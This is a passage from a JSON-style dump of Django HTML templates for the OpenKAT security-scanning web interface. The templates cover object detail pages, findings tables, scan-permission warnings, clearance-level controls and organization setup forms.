<strong>Warning:</strong>\n                            There is no indemnification for this organization.\n                            Go to the <a href=\"{{ organization_settings }}\">organization settings page</a> to add one.\n                        {% endblocktranslate %}\n                    </p>\n                {% endif %}\n                {% if not perms.tools.can_scan_organization %}\n                    <p class=\"warning\"\n                       role=\"group\"\n                       aria-label=\"{% translate \"Permission warning\" %}\">\n                        {% blocktranslate trimmed %}\n                            <strong>Warning:</strong>\n                            You don't have the proper permission at the organizational level to scan objects.\n                            Contact your administrator.\n                        {% endblocktranslate %}\n                    </p>\n                {% endif %}\n                {% if member.max_clearance_level < ooi.scan_profile.level %}\n                    <p class=\"warning\"\n                       role=\"group\"\n                       aria-label=\"{% translate \"Scan warning\" %}\">\n                        {% url \"account_detail\" organization.code as account_details %}\n                        {% blocktranslate trimmed with member_clearance_level=member.max_clearance_level boefje_scan_level=ooi.scan_profile.level %}\n                            <strong>Warning:</strong>\n                            You are not allowed to scan this OOI. Your maximum clearance level is {{ member_clearance_level }} and this OOI has level {{ boefje_scan_level }}.\n                            Go to your <a href=\"{{ account_details }}\">account details</a> to manage your clearance level.\n                        {% endblocktranslate %}\n                    </p>\n                {% endif %}\n                {% if boefjes %}\n                    <div class=\"horizontal-scroll\">\n                        <table>\n                            <caption class=\"visually-hidden\">{% translate \"Boefjes overview\" %}</caption>\n                            <thead>\n                                <tr>\n                                    <th>{% translate \"Boefje\" %}</th>\n                                    <th>{% translate \"Description\" %}</th>\n                                    <th>{% translate \"Scan profile\" %}</th>\n                                    <th>{% translate \"Scan\" %}</th>\n                                </tr>\n                            </thead>\n                            <tbody>\n                                {% for boefje in boefjes %}\n                                    <tr>\n                                        <td class=\"nowrap\">\n                                            <a href=\"{% url \"boefje_detail\" organization_code=organization.code plugin_id=boefje.id %}?ooi_id={{ ooi }}\">{{ boefje.name }}</a>\n                                        </td>\n                                        <td>{{ boefje.description }}</td>\n                                        <td class=\"nowrap\">\n                                            {% include \"partials/scan_level_indicator.html\" with value=boefje.scan_level.value %}\n\n                                        </td>\n                                        <td class=\"nowrap\">\n                                            {% if not organization_indemnification or not perms.tools.can_scan_organization or member.max_clearance_level < ooi.scan_profile.level %}\n                                                {% translate \"Unable to start scan. See the warning for more details.\" %}\n                                            {% elif ooi.scan_profile.level < boefje.scan_level.value %}\n                                                <button type=\"button\" class=\"disabled\">{% translate \"Start scan\" %}</button>\n                                            {% else %}\n                                                {% include \"partials/single_action_form.html\" with btn_text=\"Start Scan\" action=\"start_scan\" key=\"boefje_id\" value=boefje.id %}\n\n                                            {% endif %}\n                                        </td>\n                                    </tr>\n                                {% endfor %}\n                            </tbody>\n                        </table>\n                    </div>\n                {% else %}\n                    <p>\n                        {% translate \"There are no boefjes enabled to scan an OOI of type\" %} \"{{ ooi.get_ooi_type }}\". {% translate \"See\" %} <a href=\"{% url \"katalogus\" organization.code %}\">KAT-alogus</a> {% translate \"to find and enable boefjes that can scan within the current level.\" %}\n                    </p>\n                {% endif %}\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/autoSubmit.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"js/jsonSchemaToForm.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"js/taskDetails.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"js/tabs.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_detail_add_related_object.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% translate type as display_type %}\n    {% include \"header.html\" %}\n\n    {% if not ooi_past_due and ooi_types %}\n        <main id=\"main-content\">\n            <section>\n                <div>\n                    <h3>{% translate \"Add related object\" %}</h3>\n                    <form method=\"get\" class=\"help\">\n                        {% if ooi_id %}<input type=\"hidden\" name=\"ooi_id\" value=\"{{ ooi_id }}\" />{% endif %}\n                        <fieldset>\n                            <legend>{% translate \"Object details\" %}</legend>\n                            <div class=\"required\">\n                                <label for=\"select_ooi_type\">\n                                    {% translate \"Object type\" %}\n                                    <span class=\"nota-bene\">({% translate \"Required\" %})</span>\n                                </label>\n                                <div>\n                                    <select id=\"select_ooi_type\" name=\"add_ooi_type\" required>\n                                        <option disabled selected value=\"\">-- {% translate \"Choose an object type to add\" %} --</option>\n                                        {% for option in ooi_types %}\n                                            {% if option.text != \"Finding\" %}<option value=\"{{ option.value }}\">{{ option.text }}</option>{% endif %}\n                                        {% endfor %}\n                                    </select>\n                                </div>\n                                {% translate \"Select an object type to add.\" as help_text %}\n                                {% include \"partials/form/field_input_help_text.html\" with help_text=help_text %}\n\n                            </fieldset>\n                            <input class=\"button\" type=\"submit\" value=\"{% translate \"Add object\" %}\" />\n                        </form>\n                    </div>\n                </div>\n            </section>\n        </main>\n    {% endif %}\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_detail_findings_list.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n{% spaceless %}\n    <div class=\"horizontal-scroll\">\n        <div class=\"introduction\">\n            <h2>{% translate \"Findings\" %}</h2>\n            <div class=\"horizontal-view toolbar\">\n                {% if not ooi|is_finding and not ooi|is_finding_type %}\n                    <a href=\"{% ooi_url 'finding_add' ooi.primary_key organization.code %}\"\n                       class=\"button\">{% translate \"Add finding\" %}</a>\n                {% endif %}\n            </div>\n        </div>\n        <table>\n            <caption class=\"visually-hidden\">\n                {% translate \"Overview of findings for\" %} {{ ooi.get_ooi_type }} \"{{ ooi.name }}\".\n            </caption>\n            <thead>\n                <th>{% translate \"Severity\" %}</th>\n                <th>{% translate \"Score\" %}</th>\n                <th>{% translate \"Description\" %}</th>\n                <th>{% translate \"Finding details\" %}</th>\n            </thead>\n            <tbody>\n                {% for finding, finding_type in findings %}\n                    <tr>\n                        <td>\n                            <span class=\"{{ finding_type.risk_severity.value }}\">{{ finding_type.risk_severity.value|capfirst }}</span>\n                        </td>\n                        <td>{{ finding_type.risk_score }}</td>\n                        <td>{{ finding.description }}</td>\n                        <td>\n                            <a href=\"{% ooi_url 'ooi_detail' finding.primary_key organization.code query=mandatory_fields %}\">{{ finding.human_readable }}</a>\n                        </td>\n                    </tr>\n                {% endfor %}\n            </tbody>\n        </table>\n    </div>\n{% endspaceless %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_detail_findings_overview.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n{% spaceless %}\n    <div class=\"column-2\">\n        <div>\n            <h2>{% translate \"Findings\" %}</h2>\n            <p>\n                {% translate \"Overview of the number of findings and their severity found on\" %} {{ ooi.get_ooi_type }} \"{{ ooi.human_readable }}\"\n            </p>\n            <p>\n                {% translate \"Findings can occur multiple times. To give better insight the following table shows the number of unique findings found as well as the number of occurrences.\" %}\n            </p>\n            <a href=\"{% ooi_url 'ooi_findings' ooi.primary_key organization.code query=mandatory_fields %}\"\n               class=\"button\">{% translate \"See finding details\" %}</a>\n        </div>\n        <div class=\"horizontal-scroll\">\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Findings\" %}</caption>\n                <thead>\n                    <th>{% translate \"Severity\" %}</th>\n                    <th>{% translate \"Occurrences\" %}</th>\n                </thead>\n                <tbody>\n                    {% for severity, count in count_findings_per_severity.items %}\n                        <tr>\n                            <td>\n                                <span class=\"{{ severity.value }}\">{{ severity.value|capfirst }}</span>\n                            </td>\n                            <td>{{ count }}</td>\n                        </tr>\n                    {% endfor %}\n                </tbody>\n                <tfoot>\n                    <th>{% translate \"Total findings\" %}</th>\n                    <th>{{ severity_summary_totals }}</th>\n                </tfoot>\n            </table>\n        </div>\n    </div>\n{% endspaceless %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_detail_object.html",
    "content": "{% load i18n %}\n\n<h2>{% translate \"Object details\" %}</h2>\n<div>\n    <dl>\n        {% for key, value in object_details.items %}\n            <div>\n                <dt>{{ key }}</dt>\n                <dd>\n                    {% if key == \"owner\" and value.is_inactive %}\n                        <s title=\"{% translate \"Inactive\" %}\">{{ value }}</s>\n                    {% else %}\n                        {{ value }}\n                    {% endif %}\n                </dd>\n            </div>\n        {% endfor %}\n    </dl>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_detail_origins_declarations.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n{% spaceless %}\n    {% if declarations %}\n        <div class=\"horizontal-scroll\">\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Declarations\" %}</caption>\n                <thead>\n                    <tr>\n                        <th>{% translate \"Declarations\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    <tr>\n                        <td>{{ ooi.get_ooi_type }}</td>\n                    </tr>\n                </tbody>\n            </table>\n        </div>\n    {% endif %}\n{% endspaceless %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_detail_origins_inference.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n{% spaceless %}\n    {% if inferences %}\n        <div class=\"horizontal-scroll\">\n            <h2>{% translate \"Inferred by\" %}</h2>\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Inferred by\" %}</caption>\n                <thead>\n                    <tr>\n                        <th>{% translate \"Bit\" %}</th>\n                        <th>{% translate \"Source\" %}</th>\n                        <th>{% translate \"Parameters\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% for inference, params in inference_origin_params %}\n                        <tr>\n                            <td>{{ inference.origin.method }}</td>\n                            <td>\n                                <a href=\"{% ooi_url 'ooi_detail' inference.origin.source organization.code %}\">{{ inference.origin.source }}</a>\n                            </td>\n                            <td>\n                                <ul>\n                                    {% for param in params %}\n                                        <li>\n                                            <a href=\"{% ooi_url 'ooi_detail' param.reference organization.code %}\">{{ param.reference }}</a>\n                                        </li>\n                                    {% endfor %}\n                                </ul>\n                            </td>\n                        </tr>\n                    {% endfor %}\n                </tbody>\n            </table>\n        </div>\n    {% endif %}\n{% endspaceless %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_detail_origins_observations.html",
    "content": "{% load i18n %}\n{% load humanize %}\n{% load ooi_extra %}\n\n{% spaceless %}\n    {% if observations %}\n        <div class=\"horizontal-scroll\">\n            <h2>{% translate \"Last observed by\" %}</h2>\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Last observed by\" %}</caption>\n                <thead>\n                    <tr>\n                        <th>{% translate \"Boefje\" %}</th>\n                        <th>{% translate \"Source\" %}</th>\n                        <th>{% translate \"Task ID\" %}</th>\n                        <th>{% translate \"When\" %}</th>\n                        <th>{% translate \"Normalizer\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% for observation in observations %}\n                        <tr {% if observation.is_old %}class=\"warning\"{% endif %}>\n                            <td>\n                                {% if observation.boefje.id %}\n                                    <a href=\"{% url 'boefje_detail' organization_code=organization.code plugin_id=observation.boefje.id %}\"\n                                       title=\"{{ observation.boefje.id }}\">{{ observation.boefje.name }}</a>\n                                {% else %}\n                                    {% if observation.normalizer.raw_data.boefje_meta.boefje.id == \"manual\" %}\n                                        {% translate \"This scan was manually created.\" %}\n                                    {% else %}\n                                        {% translate \"The boefje has since been deleted or disabled.\" %}\n                                    {% endif %}\n                                {% endif %}\n                            </td>\n                            <td>\n                                <a href=\"{% ooi_url 'ooi_detail' observation.origin.source organization.code %}\">{{ observation.origin.source }}</a>\n                            </td>\n                            <td>\n                                {% if observation.normalizer.raw_data.boefje_meta.id %}\n                                    <a href=\"{% url 'bytes_raw' organization_code=organization.code boefje_meta_id=observation.normalizer.raw_data.boefje_meta.id %}\">{{ observation.normalizer.raw_data.boefje_meta.id }}</a>\n                                {% else %}\n                                    {% translate \"No Raw file could be found, this might point to an error in OpenKAT\" %}\n                                {% endif %}\n                            </td>\n                            <td {% if observation.is_old %} aria-label=\"{% translate \"Warning\" %}\" {% endif %}>\n                                {% if observation.is_old %}\n                                    <span>{% translate \"Warning:\" %}</span>\n                                {% endif %}\n                                <span title=\"{{ observation.normalizer.raw_data.boefje_meta.ended_at }} UTC\">{{ observation.normalizer.raw_data.boefje_meta.ended_at|naturaltime }}</span>\n                            </td>\n                            <td>\n                                {% if observation.normalizer.normalizer.id %}\n                                    <a href=\"{% url 'normalizer_detail' organization_code=organization.code plugin_id=observation.normalizer.normalizer.id %}\"\n                                       title=\"{{ observation.normalizer.normalizer.id }}\">{{ observation.normalizer.normalizer.id }}</a>\n                                {% endif %}\n                            </td>\n                        </tr>\n                    {% endfor %}\n                </tbody>\n            </table>\n        </div>\n    {% endif %}\n{% endspaceless %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_edit.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n\n{% block content %}\n    {% translate type as display_type %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <article>\n            <div class=\"layout-form\">\n                <h1>{% blocktranslate %}Edit {{ type }}: {{ ooi_human_readable }}{% endblocktranslate %}</h1>\n                <p>{% blocktranslate %}Primary key fields cannot be edited.{% endblocktranslate %}</p>\n                <form method=\"post\">\n                    {% csrf_token %}\n                    {% if form.non_field_errors %}<div class=\"warning\">{{ form.non_field_errors }}</div>{% endif %}\n                    <fieldset>\n                        <div>\n                            <label for=\"ooi_type\">Type</label>\n                            <input id=\"ooi_type\" type=\"text\" name=\"ooi_type\" value=\"{{ type }}\" readonly>\n                        </div>\n                        <div>\n                            <label for=\"user\">New owner</label>\n                            <input id=\"user\" type=\"text\" name=\"user\" value=\"{{ user }}\" readonly>\n                        </div>\n                        {% for field in form %}\n                            {% include \"partials/form/field_input_wrapper.html\" %}\n\n                        {% endfor %}\n                    </fieldset>\n                    <button type=\"submit\">{% blocktranslate %}Save {{ display_type }}{% endblocktranslate %}</button>\n                </form>\n            </div>\n        </article>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_findings.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                {% include \"partials/ooi_head.html\" with ooi=ooi view=\"ooi_findings\" %}\n\n                {% if findings|length > 0 %}\n                    {% include \"oois/ooi_detail_findings_list.html\" with findings=findings %}\n\n                {% else %}\n                    <p>{% translate \"Currently no findings have been identified for OOI\" %} \"{{ ooi.human_readable }}\".</p>\n                    <a href=\"{% ooi_url 'finding_add' ooi.primary_key organization.code %}\"\n                       class=\"button\">{% translate \"Add finding\" %}</a>\n                {% endif %}\n                {{ self }}\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_list.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n{% load ooi_extra %}\n{% load component_tags %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <div class=\"introduction\">\n                    <div>\n                        <h1>\n                            {% translate \"Object list\" %}\n                            {% if historic_view %}\n                                @ {{ observed_at|date:'DATE_FORMAT' }}\n                            {% else %}\n                                @ now ({{ observed_at|date:'DATE_FORMAT' }})\n                            {% endif %}\n                        </h1>\n                        <p>\n                            {% blocktranslate trimmed with organization.name as organization_name %}\n                                An overview of objects found for organization <strong>{{ organization_name }}</strong>.\n                                Objects can be added manually or by running Boefjes.\n                                Click an object for additional information.\n                            {% endblocktranslate %}\n                        </p>\n                    </div>\n                    {% include \"partials/ooi_list_toolbar.html\" %}\n\n                </div>\n                <div class=\"toolbar\">\n                    {% if organization_member.can_add_dashboard_item and organization_member.can_change_dashboard %}\n                        <a href=\"#new-dashboard-item-modal\"\n                           class=\"button ghost\"\n                           data-modal-id=\"new-dashboard-item-modal\">{% translate \"Add to dashboard\" %}</a>\n                        {% include \"partials/new_dashboard_item_modal.html\" with item_type=\"objects\" template=\"partials/dashboard_ooi_list.html\" %}\n\n                    {% endif %}\n                </div>\n                {% include \"partials/ooi_list_filters.html\" %}\n\n                <div class=\"fifty-fifty\">\n                    <div>\n                        <p class=\"de-emphasized\">\n                            {% blocktranslate with length=ooi_list|length total=total_oois trimmed %}\n                                Showing {{ length }} of {{ total }} objects\n                            {% endblocktranslate %}\n                        </p>\n                    </div>\n                    {% if ooi_list %}\n                        <div class=\"horizontal-view toolbar\">\n                            {% if may_update_clearance_level and perms.tools.can_set_clearance_level %}\n                                <button class=\"button ghost\" data-modal-id=\"edit-clearance-level-modal\">\n                                    <icon aria-hidden=\"true\" class=\"icon ti-paw\"></icon>{% translate \"Edit clearance level\" %}\n                                </button>\n                            {% endif %}\n                            {% if perms.tools.can_delete_oois %}\n                                <button class=\"ghost destructive\" data-modal-id=\"delete-ooi-modal\">\n                                    <icon aria-hidden=\"true\" class=\"icon ti-trash\"></icon>{% translate \"Delete\" %}\n                                </button>\n                            {% endif %}\n                        </div>\n                    {% endif %}\n                </div>\n                <form method=\"post\"\n                      id=\"ooi_list_form\"\n                      class=\"inline layout-wide checkboxes_required\">\n                    {% csrf_token %}\n                    <div class=\"horizontal-scroll\">\n                        <table>\n                            <caption class=\"visually-hidden\">\n                                {% translate \"Objects \" %}\n                                <span class=\"visually-hidden\">, {% translate \"column headers with buttons are sortable\" %}</span>\n                            </caption>\n                            <thead>\n                                <th>\n                                    <input class=\"toggle-all\" data-toggle-target=\"ooi\" type=\"checkbox\">\n                                </th>\n                                <th>{{ table_columns.object }}</th>\n                                <th scope=\"col\"\n                                    class=\"sortable\"\n                                    {% if order_by == \"object_type\" %}aria-sort=\"{{ sorting_order_class }}\"{% endif %}>\n                                    <button form=\"ooi_list_settings\"\n                                            name=\"order_by\"\n                                            value=\"object_type\"\n                                            class=\"sort\">\n                                        {{ table_columns.object_type }}\n                                        <span aria-hidden=\"true\"\n                                              class=\"icon ti-{% if order_by == \"object_type\" and sorting_order == \"asc\" %}chevron-up{% elif order_by == \"object_type\" and sorting_order == \"desc\" %}chevron-down{% else %}direction{% endif %}\"></span>\n                                    </button>\n                                </th>\n                                <th scope=\"col\"\n                                    class=\"sortable\"\n                                    {% if order_by == \"scan_level\" %}aria-sort=\"{{ sorting_order_class }}\"{% endif %}>\n                                    <button form=\"ooi_list_settings\"\n                                            name=\"order_by\"\n                                            value=\"scan_level\"\n                                            lass=\"sort\">\n                                        {{ table_columns.clearance_level }}\n                                        <span aria-hidden=\"true\"\n                                              class=\"icon ti-{% if order_by == \"scan_level\" and sorting_order == \"asc\" %}chevron-up{% elif order_by == \"scan_level\" and sorting_order == \"desc\" %}chevron-down{% else %}direction{% endif %}\"></span>\n                                    </button>\n                                </th>\n                                <th>{{ table_columns.clearance_type }}</th>\n                            </thead>\n                            <tbody>\n                                {% for object in ooi_list %}\n                                    <tr>\n                                        <td>\n                                            <input type=\"checkbox\" name=\"ooi\" value=\"{{ object.primary_key }}\">\n                                        </td>\n                                        <td>\n                                            {% if historic_view %}\n                                                <a href=\"{% ooi_url \"ooi_detail\" object.primary_key organization.code observed_at=observed_at %}\">{{ object.human_readable }}</a>\n                                            {% else %}\n                                                <a href=\"{% ooi_url \"ooi_detail\" object.primary_key organization.code %}\">{{ object.human_readable }}</a>\n                                            {% endif %}\n                                        </td>\n                                        <td>\n                                            <a href=\"{{ request.path }}?{% if historic_view %}observed_at={{ observed_at|date:\"Y-m-d\" }}&amp;{% endif %}ooi_type={{ object.ooi_type }}\">{{ object.ooi_type }}</a>\n                                        </td>\n                                        <td>\n                                            {% include \"partials/scan_level_indicator.html\" with value=object.scan_profile.level.value %}\n\n                                        </td>\n                                        <td>\n                                            {% if object.scan_profile %}\n                                                <a href=\"{% ooi_url 'scan_profile_detail' object.primary_key organization.code %}?{% if historic_view %}observed_at={{ observed_at|date:\"Y-m-d\" }}&amp;{% endif %}ooi_id={{ object.primary_key }}\">{{ object.scan_profile.scan_profile_type|title }}</a>\n                                            {% endif %}\n                                        </td>\n                                    </tr>\n                                {% endfor %}\n                            </tbody>\n                        </table>\n                    </div>\n                </form>\n                {% if ooi_list and may_update_clearance_level %}\n                    {% include \"partials/edit_ooi_clearance_level_modal.html\" with type=\"ooi_list\" %}\n\n                {% endif %}\n                {% include \"partials/list_paginator.html\" %}\n\n                {% if perms.tools.can_delete_oois %}\n                    {% include \"partials/delete_ooi_modal.html\" %}\n\n                {% endif %}\n                {% if organization_member.can_add_dashboard_item and organization_member.can_change_dashboard %}\n                    {% include \"partials/new_dashboard_item_modal.html\" with item_type=\"objects\" template=\"partials/dashboard_ooi_list.html\" %}\n\n                {% endif %}\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"js/choiceToggle.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n    <script src=\"{% static \"modal/script.js\" %}\" nonce=\"{{ request.csp_nonce }}\" type=\"module\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_mute_finding.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div class=\"layout-form\">\n                <h1>{% translate \"Mute finding:\" %} {{ ooi.human_readable }}</h1>\n                <p>{% translate \"Give a reason below why you want to mute this finding.\" %}</p>\n                <form action=\"{% url 'ooi_add' ooi_type=ooi_type organization_code=organization.code %}\"\n                      novalidate\n                      method=\"post\"\n                      class=\"help\">\n                    {% csrf_token %}\n                    {% translate \"Mute finding\" as fieldset_legend %}\n                    {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                    <div class=\"button-container\">\n                        <button type=\"submit\">{% translate \"Mute\" %}</button>\n                        <a href=\"{% ooi_url 'ooi_detail' ooi.primary_key organization.code %}\"\n                           class=\"button ghost\"\n                           type=\"submit\"\n                           name=\"cancel\">{% translate \"Cancel\" %}</a>\n                    </div>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_page_tabs.html",
    "content": "{% load i18n %}\n{% load ooi_extra %}\n\n<nav class=\"tabs\" aria-label=\"{% translate \"List of views for OOI\" %}\">\n    <ul>\n        <li {% if view == \"ooi_detail\" %}aria-current=\"page\"{% endif %}>\n            <a href=\"{% ooi_url 'ooi_detail' ooi.primary_key organization.code query=mandatory_fields %}\">{% translate \"Overview\" %}</a>\n        </li>\n        <li {% if view == \"ooi_tree\" %}aria-current=\"page\"{% endif %}>\n            <a href=\"{% ooi_url 'ooi_tree' ooi.primary_key organization.code query=mandatory_fields %}\">{% translate \"Tree\" %}</a>\n        </li>\n        <li {% if view == \"graph\" %}aria-current=\"page\"{% endif %}>\n            <a href=\"{% ooi_url 'ooi_graph' ooi.primary_key organization.code query=mandatory_fields %}\">{% translate \"Graph\" %}</a>\n        </li>\n        {% if not ooi|is_finding and not ooi|is_finding_type %}\n            <li {% if view == \"scan_profile_detail\" %}aria-current=\"page\"{% endif %}>\n                <a href=\"{% ooi_url 'scan_profile_detail' ooi.primary_key organization.code query=mandatory_fields %}\">{% translate \"Clearance level\" %} ({{ ooi.scan_profile.human_readable }}, {{ ooi.scan_profile.scan_profile_type }})</a>\n            </li>\n            <li {% if view == \"ooi_findings\" %}aria-current=\"page\"{% endif %}>\n                <a href=\"{% ooi_url 'ooi_findings' ooi.primary_key organization.code query=mandatory_fields %}\">{% translate \"Findings\" %}</a>\n            </li>\n        {% endif %}\n    </ul>\n</nav>\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_past_due_warning.html",
    "content": "{% load i18n %}\n\n<div class=\"warning\">\n    <div>\n        <h2>\n            {% if ooi_current %}\n                {% translate \"This object is past due\" %}\n            {% else %}\n                {% translate \"This object is past due and has been deleted\" %}\n            {% endif %}\n        </h2>\n        <p>{% translate \"This object is past due. You are viewing the object state in a past state.\" %}</p>\n        <ul>\n            {% if ooi_current %}\n                <li>{% translate \"You will not be able to add Findings or other OOI's to past due objects.\" %}</li>\n                <li>\n                    <a href=\"{% ooi_url 'ooi_detail' ooi_current.primary_key organization.code %}\"\n                       title=\"{% blocktranslate with name=ooi_current.human_readable %}Show details for {{ name }}{% endblocktranslate %}\">{% translate \"View the current state\" %}</a>\n                </li>\n            {% else %}\n                <li>\n                    {% blocktranslate trimmed %}\n                        You will not be able to add Findings or other OOI's, this object has been deleted\n                        and is no longer available.\n                    {% endblocktranslate %}\n                </li>\n            {% endif %}\n        </ul>\n    </div>\n</div>\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_summary.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section class=\"hero\">\n            <div class=\"one-third-two-thirds\">\n                <div class=\"tile\">\n                    <h1>\n                        {% translate \"Summary for\" %} {{ ooi.human_readable }} - <em>{{ ooi.get_ooi_type }}</em>\n                    </h1>\n                </div>\n            </div>\n        </section>\n        <section>\n            <div>\n                <p>\n                    {% translate \"Below you can see findings that were found for\" %} <a href=\"{% ooi_url 'ooi_detail' ooi.primary_key organization.code %}\">{{ ooi.human_readable }}</a>\n                    {% translate \"and direct  children of this\" %} <em>{{ ooi.get_ooi_type }}</em>.\n                </p>\n                <p>\n                    {% translate \"This\" %} <a href=\"{% ooi_url 'ooi_tree' ooi.primary_key organization.code depth=3 %}\">{% translate \"tree view\" %}</a> {% translate \"of the\" %} <em>{{ ooi.get_ooi_type }}</em>\n                    {% translate \"shows the same objects.\" %}\n                </p>\n            </div>\n        </section>\n        {% include \"partials/ooi_summary_block.html\" with tree_node=tree %}\n\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/oois/ooi_tree.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                {% include \"partials/ooi_head.html\" with ooi=ooi view=\"ooi_tree\" %}\n                {% include \"partials/ooi_list_filters.html\" with ooi_id=ooi.primary_key %}\n\n                {% if tree_view == \"table\" %}\n                    {% include \"partials/elements/ooi_tree_table.html\" with list=tree ooi_id=ooi.primary_key %}\n\n                {% else %}\n                    {% include \"partials/elements/ooi_tree_condensed_table.html\" with list=tree ooi_id=ooi.primary_key %}\n\n                {% endif %}\n                {% include \"partials/ooi_tree_toolbar_bottom.html\" with ooi_id=ooi.primary_key %}\n\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/organizations/organization_add.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>{% translate \"Organization setup\" %}</h1>\n                <p>\n                    {% blocktranslate trimmed %}\n                        Please enter the following organization details.\n                        These details can be edited within the organization\n                        page within OpenKAT when necessary.\n                    {% endblocktranslate %}\n                </p>\n                <form novalidate method=\"post\" class=\"help layout-form\">\n                    {% csrf_token %}\n                    {% translate \"Organization details\" as fieldset_legend %}\n                    {% include \"partials/form/fieldset.html\" with legend=fieldset_legend fields=form %}\n\n                    <button type=\"submit\">{% translate \"Submit\" %}</button>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/rocky/templates/organizations/organization_edit.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load i18n %}\n{% load static %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main>\n        <section>\n            <div>\n                <h1>{% translate \"Edit organization\" %} {{ organization.name }}</h1>\n                <form method=\"post\" class=\"help\">\n                    {% csrf_token %}\n                    <fieldset>\n                        {% for field in form %}\n                            {% include \"partials/form/field_input_wrapper.html\" %}\n\n                        {% endfor %}\n                    </fieldset>\n                    <div class=\"button-container\">\n                        <button type=\"submit\">{% translate \"Save organization\" %}</button>\n                        <a class=\"button ghost\"\n                           href=\"{% url 'organization_settings' organization.code %}\">{% translate \"Cancel\" %}</a>\n                    </div>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n{% block html_at_end_body %}\n    {{ block.super }}\n    <script src=\"{% static \"js/checkboxToggler.js\" %}\" nonce=\"{{ request.csp_nonce }}\"></script>\n{% endblock html_at_end_body %}\n"
  },
  {
    "path": "rocky/rocky/templates/organizations/organization_list.html",
